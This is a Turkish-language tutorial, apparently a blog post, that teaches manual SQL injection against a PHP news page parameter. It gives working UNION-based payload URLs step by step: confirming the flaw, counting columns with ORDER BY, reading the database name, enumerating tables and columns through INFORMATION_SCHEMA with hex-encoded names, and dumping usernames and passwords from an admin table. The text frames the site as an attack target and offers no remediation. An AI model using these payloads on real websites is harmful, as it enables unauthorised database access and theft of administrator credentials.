Manuel SQL İnjection Tespiti (Matematiksel)
5 ID li Sayfamız;
Saldırı Sayfamız;
Değerimize -1 Ekledik ve Sorguya Giden 5 Değerini 4 Olarak Algılayıp 4 ID li Sayfanın Bilgilerini Çekti. SQL Açığı Olmayan Bir Sitede Matematiksel İşlemler Geçersiz Olacaktır Veya 404 v.b Hatalar Verecektir.
Manuel SQL İnjection Tespiti (Tırnak İşareti)
4 ID li Sayfamız;
Integer Değerimizin Sonuna Tırnak (') Veya (%27) Ekleyerek SQL Açığı Tespiti Yapılabilmektedir.
Saldırı Sayfamız;
Sayfaya Saldırı Yapıldığında MySQL İle İlgili Hata Veriyorsa SQL Açığın Olma Olasılığı %100 fakat Veri Kaybı Yaşanıyorsa (2. Görsel) SQL Açığın Olma Olasılığı %60 Azalıyor.
Kolon Sayısını Bulmak
Kolon Sayısı, Tablodaki Kolonların Sayılarıdır;
Gördüğünüz gibi Haberler Tablomuzda 7 Kolon Bulunmaktadır Hedef Sitemizde Kolon Sayısını Bulmaya Çalışacağız
xx.com/haber.php?id=4%27+ORDER+BY+1+--+- (Sitede Hata/Veri Kaybı Yok)xx.com/haber.php?id=4%27+ORDER+BY+2+--+- (Sitede Hata/Veri Kaybı Yok)xx.com/haber.php?id=4%27+ORDER+BY+3+--+- (Sitede Hata/Veri Kaybı Yok)xx.com/haber.php?id=4%27+ORDER+BY+4+--+- (Sitede Hata/Veri Kaybı Yok)xx.com/haber.php?id=4%27+ORDER+BY+5+--+- (Sitede Hata/Veri Kaybı Yok)xx.com/haber.php?id=4%27+ORDER+BY+6+--+- (Sitede Hata/Veri Kaybı Yok)xx.com/haber.php?id=4%27+ORDER+BY+7+--+- (Sitede Hata/Veri Kaybı Yok)xx.com/haber.php?id=4%27+ORDER+BY+8+--+- (Sitede Hata/Veri Kaybı VAR)
8 Integer'de Sayfamızda Veri Kaybı veya Hata Aldık Demek Oluyorki Kolon Sayımız 7
Kolon Sayıları Ekrana Yazdırma
SQL Komutlarımızı Çalıştırıp ve Sonucu Görebilmemiz İçin Kolon Sayılarına İhtiyacımız var, Çünkü Ekranda Olmayan Kolon Sayılara SQL Komutları Uygulandığında Arka Planda Sorunsuz Çalışır ama Sonuçlarını Göremezsiniz.
xx.com/haber.php?id=4%27+UNION+ALL+SELECT+1,2,3,4,5,6,7+--+-
Şekilde Kolon Sayılarımızı Ekrana Yazdırabiliriz Bazen Çıkmayabilir Çıkmadığı Zamanlar ise;
xx.com/haber.php?id=4%27+and+false+UNION+ALL+SELECT+1,2,3,4,5,6,7+--+-
Uygulanarak Kolonlarımız Ekrana Yazdırırız Kolon Sayılarımız Ekrana Geldiğinde Uygun bir divin içindeki Sayıyı Seçiyoruz (Ben 5 Olanı Seçtim)
Database Adını Öğrenme
Hedef Sitemizin Databasemizi Öğrenmek İçin;
xx.com/haber.php?id=4%27+and+false+UNION+ALL+SELECT+1,2,3,4,database(),6,7+--+-
Seçtiğiniz Integer (5) Değerini Silip database() Yazıyoruz Ve Integer (5) Kolon Sayısının Yerine Database Adımız Gelecektir.
Tabloları Ekrana Yazdırma
Database Adımızı Öğrendiğimize Göre Tablolarımızı Çekebiliriz, Bunun İçin Bize Hex Encode Siteleri Kullanmamız Gerekiyor Database Adımızı Encode Ederek Tablolarımızı Çekeceğiz,
ip_whiz = 69705F7768697A
xx.com/haber.php?id=4%27+and+false+UNION+ALL+SELECT+1,2,3,4,(SELECT+GROUP_CONCAT( table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_ SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x69705F7768697A),6,7+--+-
Kırmızı İle İşaretlediğim Yer Encode Ettiğimiz Metnin Önüne Koyulmalıdır Sarı ile İşaretlediğim Yer ise Encode Edilmiş Database Adımızdır, İşlemleri Yaptıktan Sonra Integer (5) Kolon Sayınızın Yerine Tablolar Gelecektir.
Tablonun Kolonlarını Ekrana Yazdırma
Seçtiğimiz Tablonun Kolonlarını Öğrenebilmemiz İçin Tablomuzun İsmini Yeniden Hex Encode Ediyoruz;
admin = 61646D696E
xx.com/haber.php?id=4%27+and false+UNION+ALL+SELECT+1,2,3,4,(SELECT+GROUP_CONCAT( column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION _SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x61646D696E),6,7+--+-
Kırmızı İle İşaretlediğim Yer Encode Ettiğimiz Metnin Önüne Koyulmalıdır Sarı ile İşaretlediğim Yer ise Encode Edilmiş Tablo Adımızdır, İşlemleri Yaptıktan Sonra Integer (5) Kolon Sayınızın Yerine Tablo Kolonlarımız Gelecektir.
Kolonların Değerlerini Ekrana Yazdırma
Seçtiğimiz Kolonların Değerlerini Çekebilmek için;
xx.com/haber.php?id=4%27+and false+UNION+ALL+SELECT+1,2,3,4,(SELECT+GROUP_CONCAT(id,username,password+SEPARATOR+0x3c62723e)+FROM+ip_whiz.admin),6,7+--+-
Yeşil İle İşaretlediğim Yer Hangi Kolonların Değerlerini Almak istiyorsak İsimlerin Yazıldığı Yer, Kırmızı İle İşaretlediğim Yer Database Adımız, Sarı İle İşaretlediğim Yer Tablo Adımız. İşlemleri Yaptıktan Sonra Integer (5) Kolon Sayınızın Yerine Tablo Kolonlarımızın Değerleri Gelecektir.
0 Yorumlar